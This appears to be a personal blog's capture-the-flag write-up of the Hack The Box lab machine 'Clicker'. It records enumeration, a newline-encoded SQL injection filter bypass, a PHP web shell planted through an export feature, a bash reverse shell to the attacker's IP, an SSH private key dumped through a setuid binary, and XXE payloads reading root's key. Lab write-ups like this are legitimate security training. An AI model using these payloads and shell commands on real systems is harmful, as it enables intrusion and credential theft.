All Computers Are Broken


Table of Contents

Clicker

Posted on [2024-02-10 Sat]

nmap

$ nmap -vvv -sV -sC -p- -Pn -oA clicker 10.10.11.232
Nmap scan report for 10.10.11.232
Host is up, received user-set (0.074s latency).
Scanned at 2024-01-19 17:15:21 CET for 20s
Not shown: 65534 closed tcp ports (conn-refused)
PORT    STATE SERVICE REASON  VERSION
111/tcp open  rpcbind syn-ack 2-4 (RPC #100000)
    | rpcinfo:
    |   program version    port/proto  service
    |   100000  2,3,4        111/tcp   rpcbind
    |   100000  2,3,4        111/udp   rpcbind
    |   100000  3,4          111/tcp6  rpcbind
    |_  100000  3,4          111/udp6  rpcbind

    Read data files from: /usr/bin/../share/nmap
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Initial enumeration

Nmap shows that only port 111 (portmapper) is open. Since only portmapper is listening, I suspect that the machine will have a NFS share exported. To check for this I run the nmap script nfs-ls.

$ nmap -vvv -sV  -p111 -n 10.10.11.232 --script "nfs-ls"
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-19 17:23 CET
PORT    STATE SERVICE REASON  VERSION
111/tcp open  rpcbind syn-ack 2-4 (RPC #100000)
    | rpcinfo:
    |   program version    port/proto  service
    |   100000  2,3,4        111/tcp   rpcbind
    |   100000  2,3,4        111/udp   rpcbind
    |   100000  3,4          111/tcp6  rpcbind
    |   100000  3,4          111/udp6  rpcbind
    |   100003  3,4         2049/tcp   nfs
    |   100003  3,4         2049/tcp6  nfs
    |   100005  1,2,3      47113/tcp6  mountd
    |   100005  1,2,3      47809/udp   mountd
    |   100005  1,2,3      49472/udp6  mountd
    |   100005  1,2,3      51809/tcp   mountd
    |   100021  1,3,4      37378/udp   nlockmgr
    |   100021  1,3,4      37793/tcp   nlockmgr
    |   100021  1,3,4      41269/tcp6  nlockmgr
    |   100021  1,3,4      51190/udp6  nlockmgr
    |   100024  1          38665/tcp   status
    |   100024  1          42787/udp   status
    |   100024  1          45505/udp6  status
    |   100024  1          50209/tcp6  status
    |   100227  3           2049/tcp   nfs_acl
    |_  100227  3           2049/tcp6  nfs_acl

The output shows that NFS is running. To get all exported NFS shares, I use the showmount command.

$ showmount 10.10.11.232 --exports
Export list for 10.10.11.232:
/mnt/backups *

Next is to mount the share and check whether it contains any useful information.

$ sudo mount -t nfs 10.10.11.232:/mnt/backups nfs_mount -o nolock

Now, I can inspect the share. It contains a zip archive which I copy to my machine. Afterwards, I unmount the share.

$ cp nfs_mount/clicker.htb_backup.zip .
$ sudo umount 10.10.11.232:/mnt/backups

The downloaded archive contains the source code of a web application.

$ tree clicker.htb
clicker.htb
├── admin.php
├── assets
│   ├── background.png
│   ├── cover.css
│   ├── css
│   │   ├── bootstrap.css
│   │   ├── bootstrap.css.map
│   │   ├── bootstrap-grid.css
│   │   ├── bootstrap-grid.css.map
│   │   ├── bootstrap-grid.min.css
│   │   ├── bootstrap-grid.min.css.map
│   │   ├── bootstrap.min.css
│   │   ├── bootstrap.min.css.map
│   │   ├── bootstrap-reboot.css
│   │   ├── bootstrap-reboot.css.map
│   │   ├── bootstrap-reboot.min.css
│   │   └── bootstrap-reboot.min.css.map
│   ├── cursor.png
│   └── js
│       ├── bootstrap.bundle.js
│       ├── bootstrap.bundle.js.map
│       ├── bootstrap.bundle.min.js
│       ├── bootstrap.bundle.min.js.map
│       ├── bootstrap.js
│       ├── bootstrap.js.map
│       ├── bootstrap.min.js
│       └── bootstrap.min.js.map
├── authenticate.php
├── create_player.php
├── db_utils.php
├── diagnostic.php
├── export.php
├── exports
├── index.php
├── info.php
├── login.php
├── logout.php
├── play.php
├── profile.php
├── register.php
└── save_game.php

5 directories, 37 files

This is a bit strange since when I ran nmap there was no web server running. I re-run the nmap scan and it shows me some new open ports.

$ nmap -vvv -sV -sC -p- -Pn -oA clicker 10.10.11.232
Nmap scan report for 10.10.11.232
Host is up, received user-set (0.072s latency).
Scanned at 2024-01-19 17:59:50 CET for 27s
Not shown: 65526 closed tcp ports (conn-refused)
PORT      STATE SERVICE  REASON  VERSION
22/tcp    open  ssh      syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 89:d7:39:34:58:a0:ea:a1:db:c1:3d:14:ec:5d:5a:92 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBO8nDXVOrF/vxCNHYMVULY8wShEwVH5Hy3Bs9s9o/WCwsV52AV5K8pMvcQ9E7JzxrXkUOgIV4I+8hI0iNLGXTVY=
|   256 b4:da:8d:af:65:9c:bb:f0:71:d5:13:50:ed:d8:11:30 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAjDCjag/Rh72Z4zXCLADSXbGjSPTH8LtkbgATATvbzv
80/tcp    open  http     syn-ack Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://clicker.htb/
111/tcp   open  rpcbind  syn-ack 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  3          47113/tcp6  mountd
|   100005  3          47809/udp   mountd
|   100005  3          49472/udp6  mountd
|   100005  3          51809/tcp   mountd
|   100021  1,3,4      37378/udp   nlockmgr
|   100021  1,3,4      37793/tcp   nlockmgr
|   100021  1,3,4      41269/tcp6  nlockmgr
|   100021  1,3,4      51190/udp6  nlockmgr
|   100227  3           2049/tcp   nfs_acl
|_  100227  3           2049/tcp6  nfs_acl
2049/tcp  open  nfs_acl  syn-ack 3 (RPC #100227)
37793/tcp open  nlockmgr syn-ack 1-4 (RPC #100021)
38665/tcp open  status   syn-ack 1 (RPC #100024)
51475/tcp open  mountd   syn-ack 1-3 (RPC #100005)
51531/tcp open  mountd   syn-ack 1-3 (RPC #100005)
51809/tcp open  mountd   syn-ack 3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

There is a web server running. Accessing the web server shows a page where it is possible to view some information, login, and register an account.

2024-01-19_20-58-26_screenshot.png

Figure 1: web site

Looking at the source code I obtained previously, I see php-files corresponding to the functionality. Since there is not much interesting stuff available without authentication, I register a user to further enumerate the web application.

After registering and logging in, it is possible to play the sites clicker game via the /play.php path.

2024-01-20_13-33-15_screenshot.png

Figure 2: the web site’s clicker game

The web site allows me to save my game progress. Looking at the relevant section of the code (in file save_game.php), I see that the HTTP GET query string is checked for the occurrence of a parameter named role. If role is present, the visitor gets redirected to the start page. Looking further down the code, I see the function save_profile which receives the player name and the whole HTTP GET query string. The function save_profile is sourced from the file db_utils.php.

<?php
session_start();
include_once("db_utils.php");

if (isset($_SESSION['PLAYER']) && $_SESSION['PLAYER'] != "") {
  $args = [];
  foreach($_GET as $key=>$value) {
    if (strtolower($key) === 'role') {
      // prevent malicious users to modify role
      header('Location: /index.php?err=Malicious activity detected!');
      die;
    }
    $args[$key] = $value;
  }
  save_profile($_SESSION['PLAYER'], $_GET);
  // update session info
  $_SESSION['CLICKS'] = $_GET['clicks'];
  $_SESSION['LEVEL'] = $_GET['level'];
  header('Location: /index.php?msg=Game has been saved!');

}
?>

Looking at the save_profile function, I see that it constructs a string based on the HTTP GET query string. This string is then passed to the function $pdo->prepare which prepares a SQL statement that later gets executed. Additionally, the string is not parameterized. This looks somewhat suspicious and would allow me to update database records via HTTP GET parameters.

function save_profile($player, $args) {
  global $pdo;
    $params = ["player"=>$player];
  $setStr = "";
    foreach ($args as $key => $value) {
        $setStr .= $key . "=" . $pdo->quote($value) . ",";
  }
    $setStr = rtrim($setStr, ",");
    $stmt = $pdo->prepare("UPDATE players SET $setStr WHERE username = :player");
    $stmt -> execute($params);
}

According to the create_new_player function, the players table contains the following information:

  • username
  • nickname
  • password
  • role
  • clicks
  • level
function create_new_player($player, $password) {
  global $pdo;
  $params = ["player"=>$player, "password"=>hash("sha256", $password)];
  $stmt = $pdo->prepare("INSERT INTO players(username, nickname, password, role, clicks, level) VALUES (:player,:player,:password,'User',0,0)");
  $stmt->execute($params);
}

I am especially interested in changing the role to Admin as this will unlock new features on the site. However, the save_game script filters for the occurrence of role so I have to find a way to bypass this filter.

One way I found, was by adding a URL-encoded linefeed character to the role-parameter key. This results in the following query

GET /save_game.php?role%0a=Admin&clicks=912&level=123 HTTP/1.1
Host: clicker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://clicker.htb/play.php
Cookie: PHPSESSID=av2nlgt33s1v91l40kb0pmnpuu
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

The server returns that everything worked fine.

HTTP/1.1 302 Found
Date: Sat, 20 Jan 2024 13:36:00 GMT
Server: Apache/2.4.52 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /index.php?msg=Game has been saved!
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

However, reloading the page does not reveal any additional functionality. After logging out and logging in a gain, I can access the administrative interface at /admin.php.

With access to the admin panel, I see that there is an export function. This function is defined in the file export.php. Upon reviewing the source code, I see that the program does not properly check and restrict the extension of the file to be exported. This means I can choose php as extension.

if ($_POST["extension"] == "txt") {
    $s .= "Nickname: ". $currentplayer["nickname"] . " Clicks: " . $currentplayer["clicks"] . " Level: " . $currentplayer["level"] . "\n";
    foreach ($data as $player) {
    $s .= "Nickname: ". $player["nickname"] . " Clicks: " . $player["clicks"] . " Level: " . $player["level"] . "\n";
  }
} elseif ($_POST["extension"] == "json") {
  $s .= json_encode($currentplayer);
  $s .= json_encode($data);
} else {
  $s .= '<table>';
  $s .= '<thead>';
  $s .= '  <tr>';
  $s .= '    <th scope="col">Nickname</th>';
  $s .= '    <th scope="col">Clicks</th>';
  $s .= '    <th scope="col">Level</th>';
  $s .= '  </tr>';
  $s .= '</thead>';
  $s .= '<tbody>';
  $s .= '  <tr>';
  $s .= '    <th scope="row">' . $currentplayer["nickname"] . '</th>';
  $s .= '    <td>' . $currentplayer["clicks"] . '</td>';
  $s .= '    <td>' . $currentplayer["level"] . '</td>';
  $s .= '  </tr>';

  foreach ($data as $player) {
    $s .= '  <tr>';
    $s .= '    <th scope="row">' . $player["nickname"] . '</th>';
    $s .= '    <td>' . $player["clicks"] . '</td>';
    $s .= '    <td>' . $player["level"] . '</td>';
    $s .= '  </tr>';
  }
  $s .= '</tbody>';
  $s .= '</table>';
}

$filename = "exports/top_players_" . random_string(8) . "." . $_POST["extension"];

Additionally, even though the function stores the created file under a randomized path, the path is displayed to me after triggering the export. This means, I can write a php file to the server and know the path where it is placed too. The only thing I have to figure out to get code execution on the system is how to force the code to write arbitrary content to the exported file.

The exported file contains the nickname, clicks and level of each user. We can potentially control each value. At first, I thought that nickname is the username that I specified while creating the user. After looking closer, I saw that the players table contains two columns that hold a name. One is called username. This is the name that is used for logging in. The second one is called nickname. It is initially set to the username as can be seen in the function create_new_player in the file db_utils.php.

function create_new_player($player, $password) {
  global $pdo;
  $params = ["player"=>$player, "password"=>hash("sha256", $password)];
  $stmt = $pdo->prepare("INSERT INTO players(username, nickname, password, role, clicks, level) VALUES (:player,:player,:password,'User',0,0)");
  $stmt->execute($params);
}

Due to the vulnerable save_profile function, I am able to change the nickname of my user to an arbitrary string. This allows me to save a php command shell snipped as the nickname.

GET /save_game.php?nickname=<?php+system($_REQUEST['c']);?>&clicks=1000001&level=1

Once this is done, I can use the export function to create a php file on the server that contains a php command shell.

POST /export.php HTTP/1.1
Host: clicker.htb
[...]
Referer: http://clicker.htb/admin.php
[...]

threshold=1000000&extension=php

The application provides me the path to where it stored the file. Knowing the path, it is easy to get a reverse shell from the server. To do so, I can use the following request.

GET /exports/top_players_kgokjfhp.php?c=bash+-c+'%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.16.2%2F443%200%3E%261' HTTP/1.1

To command is a URL-encoded version of /bin/bash -i >& /dev/tcp/10.10.16.2/443 0>&1. I prepend bash -c as sometimes it doesn’t work without.

After executing the command shell, I get a shell as user www-data.

Local enumeration

I looked around the file system and the only interesting thing I can find are the files under /opt.

www-data@clicker:/opt$ ls -laR
.:
total 16
drwxr-xr-x  3 root root 4096 Jul 20  2023 .
drwxr-xr-x 18 root root 4096 Sep  5 19:19 ..
drwxr-xr-x  2 jack jack 4096 Jul 21  2023 manage
-rwxr-xr-x  1 root root  504 Jul 20  2023 monitor.sh

./manage:
total 28
drwxr-xr-x 2 jack jack  4096 Jul 21  2023 .
drwxr-xr-x 3 root root  4096 Jul 20  2023 ..
-rw-rw-r-- 1 jack jack   256 Jul 21  2023 README.txt
-rwsrwsr-x 1 jack jack 16368 Feb 26  2023 execute_query

The bash script monitor.sh checks whether the executing user has root privileges. If not, it exits immediately. This file may be required for privilege escalation later. In the directory manage there is a binary called execute_query. The README.txt informs about how to use the execute_query binary.

www-data@clicker:/opt/manage$ cat README.txt
Web application Management

Use the binary to execute the following task:
  - 1: Creates the database structure and adds user admin
  - 2: Creates fake players (better not tell anyone)
  - 3: Resets the admin password
  - 4: Deletes all users except the admin

As I did not find any other clues on how to get a shell as normal user, I copied the binary execute_query to my machine and ran strings on it.

strings execute_query

/lib64/ld-linux-x86-64.so.2
O+-W
__cxa_finalize
setreuid
__libc_start_main
atoi
puts
system
strncpy
strlen
strcat
[...]
u+UH
/home/jaH
ck/queriH
/usr/binH
/mysql -H
u clickeH
r_db_useH
r --passH
word='clH
icker_dbH
_passworH
d' clickH
er -v < H
ERROR: not enough arguments
ERROR: Invalid arguments
create.sql
populate.sql
reset_password.sql
clean.sql
File not readable or not found
:*3$"
[...]

The output indicates that the binary calls the mysql exe.

/home/jack/queri /usr/bin/mysql -u clicker_db_user --password='clicker_db_password' clicker -v < H

The output also indicates that there are also some sql-files involved. Since I do not know any further, I launch ghidra and try to find additional clues via reverse engineering.

The disassembled version of the binary looks as follows:

undefined8 main(int param_1,long param_2)

{
  int iVar1;
  undefined8 uVar2;
  char *pcVar3;
  size_t sVar4;
  size_t sVar5;
  char *__dest;
  long in_FS_OFFSET;
  undefined8 local_98;
  undefined8 local_90;
  undefined4 local_88;
  undefined8 local_78;
  undefined8 local_70;
  undefined8 local_68;
  undefined8 local_60;
  undefined8 local_58;
  undefined8 local_50;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined local_28;
  long local_20;

  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  if (param_1 < 2) {
    puts("ERROR: not enough arguments");
    uVar2 = 1;
  }
  else {
    iVar1 = atoi(*(char **)(param_2 + 8));
    pcVar3 = (char *)calloc(0x14,1);
    switch(iVar1) {
    case 0:
      puts("ERROR: Invalid arguments");
      uVar2 = 2;
      goto LAB_001015e1;
    case 1:
      strncpy(pcVar3,"create.sql",0x14);
      break;
    case 2:
      strncpy(pcVar3,"populate.sql",0x14);
      break;
    case 3:
      strncpy(pcVar3,"reset_password.sql",0x14);
      break;
    case 4:
      strncpy(pcVar3,"clean.sql",0x14);
      break;
    default:
      strncpy(pcVar3,*(char **)(param_2 + 0x10),0x14);
    }
    local_98 = 0x616a2f656d6f682f;
    local_90 = 0x69726575712f6b63;
    local_88 = 0x2f7365;
    sVar4 = strlen((char *)&local_98);
    sVar5 = strlen(pcVar3);
    __dest = (char *)calloc(sVar5 + sVar4 + 1,1);
    strcat(__dest,(char *)&local_98);
    strcat(__dest,pcVar3);
    setreuid(1000,1000);
    iVar1 = access(__dest,4);
    if (iVar1 == 0) {
      local_78 = 0x6e69622f7273752f;
      local_70 = 0x2d206c7173796d2f;
      local_68 = 0x656b63696c632075;
      local_60 = 0x6573755f62645f72;
      local_58 = 0x737361702d2d2072;
      local_50 = 0x6c63273d64726f77;
      local_48 = 0x62645f72656b6369;
      local_40 = 0x726f77737361705f;
      local_38 = 0x6b63696c63202764;
      local_30 = 0x203c20762d207265;
      local_28 = 0;
      sVar4 = strlen((char *)&local_78);
      sVar5 = strlen(pcVar3);
      pcVar3 = (char *)calloc(sVar5 + sVar4 + 1,1);
      strcat(pcVar3,(char *)&local_78);
      strcat(pcVar3,__dest);
      system(pcVar3);
    }
    else {
      puts("File not readable or not found");
    }
    uVar2 = 0;
  }
LAB_001015e1:
  if (local_20 == *(long *)(in_FS_OFFSET + 0x28)) {
    return uVar2;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

Since my reverse engineering knowledge is very limited, I am having a hard time reading and understanding the code. What clearly is visible in the code, are the branches for the different options as stated in the README.txt e.g. case 1 etc.

I could also identify that the binary might read some files as the code reads puts("File not readable or not found");. There is also the default branch of the switch statement.

[...]
default:
  strncpy(pcVar3,*(char **)(param_2 + 0x10),0x14);
[...]

This looks a bit suspicious. As far as I understand, if the default case is hit e.g. the first parameter is none of the numbers 1-4 then the program copies the value that can be found at param_2 + 0x10 to the variable pcVar3. This looks like a second parameter is used too. The README.txt did not say anything about a second parameter. This could be an indicator that the second parameter will be the key to getting a shell as regular user. However, I could not connect the dots and had to search for a write up after the machine was no longer active.

After reading the writeups from 0xdf and elswix I had confirmation that the default case uses a second command line parameter. Using the second parameter, it is possible to specify a file system path to a file that should be passed to the sql command in listing 21. Since the command includes the -v parameter, the output of the command will be print to the console. So to grab the ssh key of the user jack, I used the below command.

www-data@clicker:/opt/manage$ ./execute_query 223 '../.ssh/id_rsa'
mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
-----BEGIN OPENSSH PRIVATE KEY---
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
-----END OPENSSH PRIVATE KEY---
--------------

ERROR 1064 (42000) at line 1: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-----BEGIN OPENSSH PRIVATE KEY---
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAA' at line 1

The output shows the jack’s ssh private key. After saving the key to my machine and changing the file permissions to 600, I am able to login via ssh as user jack.

Privilege escalation

The first thing I check, is the groups to which jack belongs.

jack@clicker:~$ groups
jack adm cdrom sudo dip plugdev

jack is member of the sudoers group. Maybe I am lucky and I do not need a password to run commands as root.

jack@clicker:~$ sudo -l
Matching Defaults entries for jack on clicker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty

User jack may run the following commands on clicker:
(ALL : ALL) ALL
(root) SETENV: NOPASSWD: /opt/monitor.sh

jack can run the script /opt/monitor.sh as root without specifying a password. This looks like the vector to escalate privileges.

The script /opt/monitor.sh looks as follows.

jack@clicker:~$ cat /opt/monitor.sh
#!/bin/bash
if [ "$EUID" -ne 0 ]
then echo "Error, please run as root"
     exit
fi

set PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
unset PERL5LIB;
unset PERLLIB;

data=$(/usr/bin/curl -s http://clicker.htb/diagnostic.php?token=secret_diagnostic_token);
/usr/bin/xml_pp <<< $data;
if [[ $NOSAVE == "true" ]]; then
    exit;
else
    timestamp=$(/usr/bin/date +%s)
    /usr/bin/echo $data > /root/diagnostic_files/diagnostic_${timestamp}.xml
fi

The script calls the diagnostic.php endpoint of the web application which returns a few pieces of information. This information is afterwards processed via xml_pp and printed to the screen. However, there is no way to directly change the data that is returned by the diagnostic.php endpoint.

The key to rooting this machine is in the sudoers configuration. The last line of the sudoers file reads as follows.

(root) SETENV: NOPASSWD: /opt/monitor.sh

The SETENV: tag allows me to set a environment variable on the command line. This allows me to set the http_proxy environment variable that is used by curl. In this way I am able to take control over the data that is passed in to xml_pp ultimately leading to XML External Entity (XXE) injection.

To do so, I first have to reconfigure Burp so that it listens on all interfaces and set intercept to on. Once this is done, I must run the following command as user jack.

jack@clicker:~$ sudo http_proxy=http://10.10.16.2:8080 /opt/monitor.sh

Since I set up Burp to intercept the request, the execution halts and I am able to see the request in Burp. The request itself is not of interest. The interesting part is the response returned by the server as I want to overwrite it to force xml_pp to process an xml file that I control. Therefore, I instruct Burp to intercept the response to and forward the request to the server. As soon as the response hits the proxy, I change it to the following.

HTTP/1.1 200 OK
Date: Sat, 10 Feb 2024 09:40:44 GMT
Server: Apache/2.4.52 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 102
Connection: close
Content-Type: text/html; charset=UTF-8

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>

This response defines an XML entity that reads the file /etc/passwd and includes it in the response. Since the script monitor.sh is run as root, I should be able to read any file on the server.

Therefore, I try to read the root users private ssh key via the following XXE.

HTTP/1.1 200 OK
Date: Sat, 10 Feb 2024 09:47:49 GMT
Server: Apache/2.4.52 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 112
Connection: close
Content-Type: text/html; charset=UTF-8

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY example SYSTEM "/root/.ssh/id_rsa"> ]>
<data>&example;</data>

This returns the ssh key which I copy to my local machine, change the file permissions to 600 and login to the target machine as root to retrieve the flag.

ImprintPrivacy Policy